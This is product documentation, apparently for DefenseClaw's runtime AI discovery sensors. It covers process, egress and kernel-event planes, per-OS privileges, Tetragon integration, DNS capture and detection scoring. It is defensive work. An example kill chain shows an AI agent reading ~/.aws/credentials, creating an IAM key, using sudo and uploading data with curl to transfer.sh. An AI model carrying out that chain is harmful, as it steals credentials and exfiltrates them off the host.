| B — shadow egress | Per-process socket attribution to a provider, and the DNS answers that name the peer | /proc/net + /proc/<pid>/fd, lsof, GetExtendedTcpTable |
| C — agent actions | Kernel process, file, and identity events, gated on AI-agent process lineage | Endpoint Security (eslogger); cn_proc + fanotify, or Tetragon on a managed Linux computer that runs it; the Windows Security event log |
Plane A only raises a heartbeat inside a scriptable runtime or a known model server. A compiled application burning CPU is a compiled application burning CPU, and scoring every busy process would make the signal worthless.
Plane B reads argv, which the inventory scanner deliberately does not
collect. That is the whole reason it exists as a separate surface: the
inventory's process detector matches executable basenames, so an agent
framework running inside a bare python3 is invisible to it.
The runtime planes read more than the inventory does
argv is collected, and it is classified as content on the wire — each
destination's redaction profile governs whether it
leaves the host. Provider hostnames are content for the same reason.
Environment variable values are never read on any runtime path, matching the
inventory scanner's names-only rule. Enabling runtime or continuous discovery on a
new configuration selects planes A and B; pass --enable-host-plane to add
Plane C, which prints a warning. DNS capture remains a separate
explicit opt-in.
What each platform actually delivers
Plane C's coverage differs by platform and by privilege, and the sensor reports which parts it has rather than implying it has all of them.
| Platform | Source | Needs | Delivers | Does not |
|---|---|---|---|---|
| macOS | Endpoint Security via eslogger | root and Full Disk Access | all six kinds: exec with argv, exit, file read/write on watched paths, and account/privilege events recognised from the exec argument vector | — |
| Linux | cn_proc netlink | CAP_NET_ADMIN | exec, exit, uid/gid changes. The name and arguments are read from /proc after the event, so a short-lived process can lose them | The executable's path from the start of the process, container identity |
| Linux | fanotify | CAP_SYS_ADMIN | file read/write on watched roots | — |
| Linux, managed enterprise | Tetragon, read by the root sensor helper | Nothing at the gateway. Tetragon's API is root-only, so a per-user install never connects to it | Exec and exit with the binary, arguments, user and parent recorded in the kernel at the exec; the container a process belongs to. In observe and enforce modes also file opens of credential, persistence and agent-config paths, and connects per binary | Windows and macOS: Tetragon has no agent for either |
| Windows | Security event log (wevtapi) | elevated token and Advanced Audit Policy | process creation and exit, account creation, group changes, privilege assignment | file events, which need a SACL per audited object |
The Linux halves start independently. A host that has CAP_NET_ADMIN but not
CAP_SYS_ADMIN gets cn_proc with the file half honestly reported absent,
which beats losing the plane to one missing capability — and the snapshot
reports it as partially covered rather than complete. A host with neither
capability gets neither half, and the snapshot names the capability that is
missing. On a managed Linux computer the root sensor helper holds the
capabilities, and uses Tetragon when the computer runs it; see
Plane C on managed Linux.
Windows has two prerequisites that fail differently and are therefore reported differently: Advanced Audit Policy for the events at all, and the separate command-line policy for argv. Without the second, lineage still works and argument-vector tactics do not.
On Windows the plane reads the Security log from the last record it read, and
it reads file and account events before process events. A burst of process
starts, such as a scheduled task looping a short command, delays a file write
that comes after it by about 30 seconds at most: the write waits for the
process events ahead of it, so it can still be traced to the agent whose
process made it. A reader that falls behind is listed in degraded_reasons as
agent actions partially covered: Security event log reader is behind ...
until it catches up. Process events are delayed then, not skipped.
# Windows, elevated: the events themselves
auditpol /set /subcategory:"Process Creation" /success:enable /failure:enable
auditpol /set /subcategory:"User Account Management" /success:enable /failure:enable
auditpol /set /subcategory:"Sensitive Privilege Use" /success:enable /failure:enable
# and, separately, argv on those events
$audit = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\Audit"
New-Item -Path $audit -Force | Out-Null
Set-ItemProperty -Path $audit -Name ProcessCreationIncludeCmdLine_Enabled -Value 1 -Type DWordWhat to grant, per OS
Every plane runs without any of this and reports what it cannot see. Granting these is how coverage becomes complete, not how it starts — nothing here is a prerequisite for installing or running.
Ask the host itself rather than reading a table:
defenseclaw agent discovery runtime permissionsIt answers before anything is running, which is the point: runtime selftest
can only explain a gateway that is already up. Add --os linux|darwin|windows
to plan for a platform you are not standing on, or --json to feed a
deployment tool.
It can also apply what it finds missing:
defenseclaw agent discovery runtime permissions --grantEvery command is printed before anything runs, and the confirmation is not
skippable without --yes. --revert undoes exactly what --grant applied.
On Linux that is one setcap on the gateway binary (it includes
cap_net_admin for cn_proc); on Windows it is the
three audit subcategories plus the command-line policy, which needs an
already-elevated prompt. Nothing grants more than the requirement it names —
notably there is no blanket SACL on Windows, because auditing every object on
a filesystem to catch credential reads creates far more exposure than the
detection is worth.
macOS Full Disk Access is the one thing no amount of privilege can automate: TCC does not let any process grant it, to itself or anything else. The command opens the exact settings pane instead, which is the whole of what is achievable. Managed installs skip it via an MDM PPPC profile.
It also checks. Each line reads [granted], [MISSING], or [unknown] for
the host you are on, so the output is a list of gaps rather than a list of
requirements. [unknown] means this process cannot verify that grant from
where it is running — reported as such rather than as missing, because
sending an operator to change something already correct is its own kind of
wrong answer. Asking about another OS never probes: it would be a confident
wrong answer about a machine you are not on.
Unmanaged install — the operator grants these directly
| Signal | macOS | Linux | Windows |
|---|---|---|---|
| A inference heartbeat | nothing | nothing | nothing for own processes; elevation for all |
| B egress attribution | root | root or CAP_DAC_READ_SEARCH | elevated token |
| B DNS naming | root, for /dev/bpf | CAP_NET_RAW | elevated token |
| C process + identity events | root and Full Disk Access | CAP_NET_ADMIN (cn_proc) | elevated and Advanced Audit Policy |
| C file events | included above | CAP_SYS_ADMIN (fanotify) | a SACL per audited object |
| C command lines | included above | included above | the separate command-line audit policy |
Three of these are worth calling out because they are the ones that get missed:
macOS Full Disk Access applies to the responsible process — the terminal
or daemon that launched the gateway, not the gateway binary. On a managed Mac
that is the root sensor helper, defenseclaw-sensor-helper; the
macOS enterprise guide
has the PPPC payload. Without it, Endpoint Security refuses the client
outright even when running as root, and Plane C reports itself stopped with
Apple's own message.
Windows argv is a second policy. The audit subcategories turn the events
on; ProcessCreationIncludeCmdLine_Enabled turns on the argument vectors
inside them. With only the first, lineage works and nearly every tactic
silently does not.
Linux Plane C has two independent halves. cn_proc needs
CAP_NET_ADMIN: subscribing to the kernel's process connector is a
privileged netlink operation, so an unprivileged account gets no process
events from it. fanotify needs CAP_SYS_ADMIN. The plane starts on
whichever half it can and reports the other absent, rather than failing
whole. defenseclaw agent discovery runtime permissions --grant applies both.
Managed enterprise install — the installer arranges these
The gateway is deliberately de-privileged here, so these grants do not go to it:
| Setting | macOS | Linux | Windows |
|---|---|---|---|
| Gateway runs as | _defenseclaw (LaunchDaemon) | unprivileged defenseclaw, systemd sandbox | write-restricted LocalSystem with the gateway service SID |
| Acquisition | brokered via defenseclaw-sensor-helper | brokered via defenseclaw-sensor-helper | brokered via defenseclaw-sensor-helper |
| Who holds the privilege | the helper (root) | the helper (root) | the helper |
| Operator still grants | Full Disk Access to the helper, via an MDM PPPC profile | nothing — the unit declares its capabilities | Advanced Audit Policy and the command-line policy, via GPO |
On macOS the gateway runs as _defenseclaw and the root sensor helper does the
acquisition; the only outstanding grant is the TCC profile, which names the
helper. Linux and Windows use the helper the same way.
On Windows the gateway's LocalSystem token is write-restricted, but reads
outside user profiles are checked as LocalSystem; it refuses profile paths
and its scanner children inherit that token.
Where the privilege lives
Plane C needs to read the kernel. The gateway is the component least entitled
to: it is network-facing, so a managed deployment de-privileges it on purpose.
On Linux it runs as an unprivileged account inside a systemd sandbox; on
Windows it runs as a dedicated virtual service account. On managed macOS it runs as _defenseclaw. On all three, only the sensor
helper holds root.
Measured under the shipped Linux unit, a gateway reading directly sees
one process and zero connections. ProcSubset=pid removes /proc/net and
hides every other process before privilege is even considered,
RestrictAddressFamilies blocks AF_NETLINK and AF_PACKET, and the empty
CapabilityBoundingSet blocks fanotify.
So acquisition is brokered instead. defenseclaw-sensor-helper holds the
privilege, does nothing else, and answers a fixed set of questions:
The helper takes no instruction about what to read. There is no path, filter, pid, glob, or command anywhere in a request — a test asserts the request type's field count so one cannot be added unnoticed. What it watches comes from its own root-owned configuration. A compromised gateway can therefore obtain the process table it would have had anyway, and cannot turn a root process into a general-purpose file reader.
| Setting | Value |
|---|---|
| Transport | AF_UNIX socket, mode 0660, owned by the gateway's group |
| Peer check (Linux, macOS) | kernel-supplied uid via SO_PEERCRED / LOCAL_PEERCRED, which the peer cannot forge |
| Peer check (Windows) | the socket DACL, refused in-kernel at open |
| Helper network access | none — the unit allows AF_UNIX, AF_NETLINK and AF_PACKET only |
The gateway brokers through the helper only where it was de-privileged and a helper is therefore installed. It reads directly on an unmanaged workstation, where there is no helper to ask and the honest answer is to read what it can and report the shortfall. The choice is automatic; there is no setting for it.
With the helper running, that same sandboxed Linux gateway reports
degraded: false and detects a full credential-access → identity-creation →
exfiltration chain, including file reads observed through fanotify — a
syscall it cannot itself make.
On Linux the helper is a systemd unit; on Windows it is an SCM service the enterprise installer registers alongside the gateway, which is ordered to start after it so the socket is listening before the planes look for it.
systemctl enable --now defenseclaw-sensor-helperOn managed Windows, use the enterprise lifecycle rather than editing SCM or
the socket DACL manually. Setup puts no DefenseClaw command on PATH, so name the
installed CLI by its path (in cmd.exe, quote the path with double quotes
instead of the & form):
Get-Service DefenseClawSensorHelper, DefenseClawGateway
& 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows status --jsonagent discovery runtime permissions and agent discovery runtime selftest
are commands of the per-user CLI; a managed computer does not have them.
If the helper is absent, stopped, or its protected socket cannot be opened,
runtime coverage reports degraded rather than silently falling back to a
privileged gateway. Stage the approved helper binary and run enterprise
repair; see Secure Client managed deployment
or Troubleshooting for the standalone profile.
The helper needs CAP_CHOWN alongside the capabilities acquisition uses. It
hands the socket to the gateway's group, and without it the socket stays
root-owned, the gateway cannot open it, and the helper would otherwise come up
reporting success while brokering nothing. The listener verifies the ownership
took and refuses to start rather than allow that.
Plane C on managed Linux: Tetragon
If a managed Linux computer already runs Tetragon, the
sensor helper reads its events over Tetragon's root-owned Unix socket and uses
them as Plane C's process source. That is the default mode (consume), but
it works only when Plane C is on: set ai_discovery.runtime.enabled and
ai_discovery.runtime.enable_host_plane to true, because Plane C is opt-in
(with it off, the Tetragon mode is off). The benefit is accuracy: Tetragon records a
process's binary, arguments, user and parent in the kernel at the exec, where
cn_proc reads /proc afterwards and loses fast processes, and it marks
processes that belong to a container so they are never scored as a host
agent. If Tetragon is absent, stopped, listening on TCP or an unsupported
version, the same stream falls back to cn_proc and fanotify and says why.
Two further modes, observe and enforce, add DefenseClaw's own policies
to that Tetragon. observe records file opens of credential, persistence and
agent-configuration paths and connects per binary. enforce lets two fixed
controls deny, only after an administrator approves them. Hooks and
OpenShell keep their roles; see
Agent segmentation, visibility and enforcement. The
setup, the readiness check and the pause runbook are on
Tetragon on a Linux fleet,
and the settings are under
enterprise.tetragon.
If you run Tetragon policies of your own on kprobe or LSM hooks, the helper
also reports their events when they hit an AI agent (customer_events, on by
default in consume, observe and enforce). Each record names the policy,
the action, the outcome (observed, would_block or blocked) and the
target, and carries the agent, the user and the hook decision it belongs to.
Events from outside an agent's process tree are counted per policy and not
exported. DefenseClaw never changes, loads or deletes your policies, and these
events are not scored as findings.
A per-user (open-source) install never connects to Tetragon: its socket is
root-only and grants control of kernel policy. defenseclaw doctor and
runtime permissions say so when Tetragon is present, and doctor warns when
Tetragon serves its API on a TCP port.
Only a managed Linux gateway reports a Tetragon backend, and the managed Linux
packages ship no TUI, and their defenseclaw runs only the commands in Managed command availability (the
per-user installer refuses to run on a managed computer). So the TUI Runtime
panel, agent discovery runtime status and defenseclaw doctor have no
managed Tetragon lines. The administrator's surfaces are the Go commands
(sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux discovery,
enterprise linux tetragon verify, tetragon status and
defenseclaw-gateway status), the telemetry and the agent's own answers.
When the Plane C entry carries a backend, enterprise linux discovery adds
lines for it under agent actions:
kernel sensor: Tetragon v1.7.1, enforce, 0 events lost
kernel controls: enforcing 2 of 3 users; 1 in burn-in, next ready ~9 days
your Tetragon policies: 4 loaded (1 enforcing); 12 agent events forwarded (DefenseClaw never changes them)The second line appears only when DefenseClaw's kernel controls are loaded
(observe or enforce), and the third only when Tetragon has policies of
yours. "next ready" is calendar time at the user's rate of agent use so far,
shown once the burn-in window is a day old. During a pause the second line
ends with ; paused until <time>. The third line counts the events of your
policies that the gateway recorded below an AI agent since it started, and
"over the budget" only the ones the helper did not forward because they went
over the volume limit. --json includes the backend. When the number of lost events
is not known, the line says so instead of showing zero.
Naming a peer: DNS capture
With dns_capture enabled, an egress peer is named from the answer this host
actually resolved rather than inferred from its address. That is a direct
observation, which is why it carries full confidence where a PTR record — owned
by whoever controls the address, and frequently naming infrastructure rather
than the service — does not.
| Platform | Mechanism |
|---|---|
| Linux | AF_PACKET with a kernel BPF filter for UDP/53 |
| macOS | /dev/bpf with the same filter, in immediate mode |
| Windows | Microsoft-Windows-DNS-Client/Operational event 3008 |
No tcpdump subprocess on any platform, and no third-party capture driver on
Windows. A capture that cannot start is degraded coverage rather than fatal:
the reverse resolver still names peers, less confidently, and the snapshot says
so.
dns_capture is off by default. While it is off (or cannot start), runtime status and selftest show the shadow egress mechanism as, for example,
lsof(8); peers named by reverse DNS (dns_capture off), and runtime permissions lists the DNS naming grant as [off] rather than [MISSING].
Turn it on with defenseclaw agent discovery runtime enable --dns-capture. It
needs root on macOS (for /dev/bpf) and CAP_NET_RAW on Linux.
Every host-plane signal is gated on agent lineage
Not one Plane C signal fires for a process without an AI agent above it in the
process tree. A developer running sudo produces nothing; the same sudo as a
descendant of claude produces a signal.
That gate is the primary false-positive control, and it is measurable: every snapshot reports how many observations it classified and how many it discarded for having no agent above them. A control nobody can measure is a control nobody can trust — and a gated count rising while the classified count stays at zero is a different problem from a quiet host.
These tactics are far too ordinary on a developer machine to be worth reporting without an actor attached:
claude ──▶ sh ──▶ cat ~/.aws/credentials credential_access
──▶ sh ──▶ aws iam create-access-key identity_creation
──▶ sh ──▶ sudo … privilege_escalation
──▶ curl -T - https://transfer.sh/x exfiltrationNot one of those steps is worth paging on alone, and four separate per-process
findings would be four alerts nobody joins up. The sequence is the finding,
so a host-plane finding is one per agent session, not one per process — an
agent that is a shell script forks children that inherit its identity, and each
one rooting itself would reproduce exactly the fragmentation this avoids.
No single host-plane tactic reaches high on its own; the chain bonus is
awarded only when the session moved through three or more stages in order.
An agent that reads a credential and later uploads something has progressed;
one that uploads something and much later reads a config file has not.
Correlation with the inventory
Runtime observations are joined against the discovery snapshot in process, so a finding reports whether the inventory can account for it:
| Verdict | Meaning | Effect on the score |
|---|---|---|
accounted | Discovery independently observed the same subject | Local-inference weights are halved — still inventory, no longer something to chase |
unaccounted | A complete scan explains none of this | Escalates: sustained inference the filesystem walk cannot explain means the weights are not where a scanner can see them |
unobserved | There was no usable inventory to consult | Nothing. Neither attenuation nor escalation |
That last row is the rule the design rests on: unobserved is never spent as evidence or as exoneration. A detector whose numbers fall because another subsystem crashed is reporting "quiet" for "blind". The blindness is still recorded, because not scoring on it is not the same as not saying so.
Attenuation touches only local-inference signals. An inventoried model file on disk says nothing about where a process sent its requests, so it never discounts egress evidence.
Coverage is reported, never implied
A detector reporting clean because it was never able to look is indistinguishable, on a dashboard, from a host that is genuinely clean. So every surface states what it could not see:
defenseclaw agent discovery runtime selftest ✓ inference heartbeat: running via /proc
✓ shadow egress: running via /proc/net and /proc/<pid>/fd
✓ agent actions: running via netlink process connector (cn_proc) only
processes: 180 read, 0 not fully readable | connections: 14 seen, 9 with no owner
⚠ coverage is partial:
- agent actions partially covered: file events need fanotify, which needs
CAP_SYS_ADMIN: fanotify_init: operation not permitted
- 64% of connections could not be attributed to a process. Run the gateway
with elevated privilege for machine-wide egress attribution.The privilege asymmetry behind that last line is real. On macOS and Linux the whole process table is readable unprivileged, but the socket-to-pid mapping is readable only for the caller's own processes — so an unprivileged run watches the whole machine compute and only its own share of it talk. Windows is the exception: its connection table carries the owning pid in every row.
Plane C is running here and still incomplete. Partial coverage is reported as partial rather than as either healthy or down, because a plane delivering process events but not file events is missing a whole tactic class, and calling that complete would let an operator read reduced coverage as a clean host.
Plane health is emitted on every cycle, including when a plane is down. If health were reported only while a plane worked, a subscription that died would leave no trace, and absence is the hardest thing to alert on.
Tunable knobs
| Knob | Purpose |
|---|---|
--poll-interval-s | Seconds between polls (5–3600). Also the window that distinguishes sustained inference from a momentary CPU spike. |
--min-risk-to-report | Reporting floor (1–100). Defaults to 30, the medium band. |
--enable-host-plane | Select Plane C. New configurations default this off, and omitting the flag keeps the current setting; pass --no-enable-host-plane to turn it off. Listing c in planes without this is ignored. |
--dns-capture | Name peers from the answer the process received rather than inferring from an address. Needs elevated privilege. |
Two knobs are config-only, because neither belongs in a one-shot command:
ai_discovery:
runtime:
enabled: true
planes: [a, b, c]
enable_host_plane: true
chain_window_min: 60 # how long a session stays open for a chain
sanctioned_endpoints: # egress here is expected, not a finding
- api.corp.example.comchain_window_min is the window over which stages accumulate into a kill
chain. Too short and a patient agent never chains; too long and unrelated
activity in the same session joins up. sanctioned_endpoints is where an
environment states its own approved providers — matching egress still appears
in the plane's output, it stops being scored as unsanctioned.
ai_discovery.runtime.correlate defaults on. Setting it to false removes the
inventory read entirely; it does not make findings score as though the
inventory disagreed.
Where the data lands
Five log families under the existing ai.discovery bucket, so
presence and behaviour share one bucket, one destination policy, and one set of
dashboards:
| Event | Carries |
|---|---|
ai.runtime.finding | One scored finding, its evidence trail, and the inventory verdict |
ai.runtime.activity | One host-plane tactic, with its MITRE ATT&CK technique and chain stage. Records now name the user and agent identity, the event source (tetragon, cn_proc, fanotify, ...) and, on managed Linux, whether a hook decision matched (hook_seen) |
ai.runtime.plane_health | One running plane per poll cycle. Plane C also reports its backend (tetragon or native), the mechanism, lost events and container events. On managed Linux with Tetragon it adds the fleet fields: the Tetragon version, the helper mode, whether enforce_ack approves this build, the users enrolled, enforced and in burn-in, whether enforcement is paused, and the would-block, blocked and customer-event counts for the cycle |
ai.runtime.kernel_policy | One record per change of the Linux kernel controls (a policy loaded, a mode changed, a pause, a user ready or back in burn-in), and one every 6 hours per user in burn-in with the covered and needed hours (uid_progress). Never one per event. Managed Linux with Tetragon only |
ai.runtime.kernel_event | One record per attributed event of your own Tetragon policies (kprobe and LSM) below an AI agent, after repeats are folded: the policy, hook type, function, action, mode, outcome, target and tags, with the agent, the user and the hook join. Managed Linux with Tetragon only; customer_events: off stops them |
A running plane emits about one health record per poll cycle (roughly once a minute with the default runtime poll), per enabled destination that routes ai.discovery logs. Unselected or stopped planes emit no recurring health record. Exclude the ai.discovery bucket from a destination route to remove this stream there; this also removes runtime findings and discovery events on that route. Local sensor status still reports every plane.
A degraded cycle is reported with outcome partial rather than completed.
The local observability stack ships defenseclaw-ai-runtime.json, provisioned
by defenseclaw setup local-observability up like every other dashboard and
cross-linked with AI Discovery. Splunk local mode gets a matching AI Discovery
Runtime Planes view. Both put coverage in the first row, before any finding.
TUI and macOS app
The TUI Runtime panel (N) and the macOS app's Runtime panel render the
same snapshot. The plane strip is always
visible — press p to expand each plane's reason — and coverage sits in the
header beside the finding count, because a reader who sees only the count
cannot tell a quiet host from a blind sensor. Enter opens a finding, which
renders a kill chain as a sequence rather than a set, and always states the
inventory verdict including unobserved. Neither shows Tetragon: only a
managed Linux gateway reports it, the managed Linux packages ship no TUI (see
Plane C on managed Linux), and the macOS
app manages only the Mac's own gateway.
See also
Find AI on this machine
The 30-second tour: discover, usage, the TUI panel, AIBOM export.
AI Discovery reference
Categories, knobs, signature packs, IDE inventory, planes per OS.
Registries
What is approved, as opposed to what is present.
All scanning guides and reference: Scanning.
Registries
Subscribe DefenseClaw to public or internal skill / MCP catalogs. Sources are fetched, scanned, and clean entries are auto-promoted into asset_policy so admission decisions can attribute the rule back to its origin.
Agent segmentation, visibility and enforcement
Which DefenseClaw layer sees and which layer enforces each intent (protected paths, credentials, persistence, egress, blocked tools, process lineage, shadow AI) on a Linux host, a Linux sandbox, a Mac, a Mac sandbox and Windows, and what the Tetragon kernel controls add on managed Linux, and how your own Tetragon policies fit.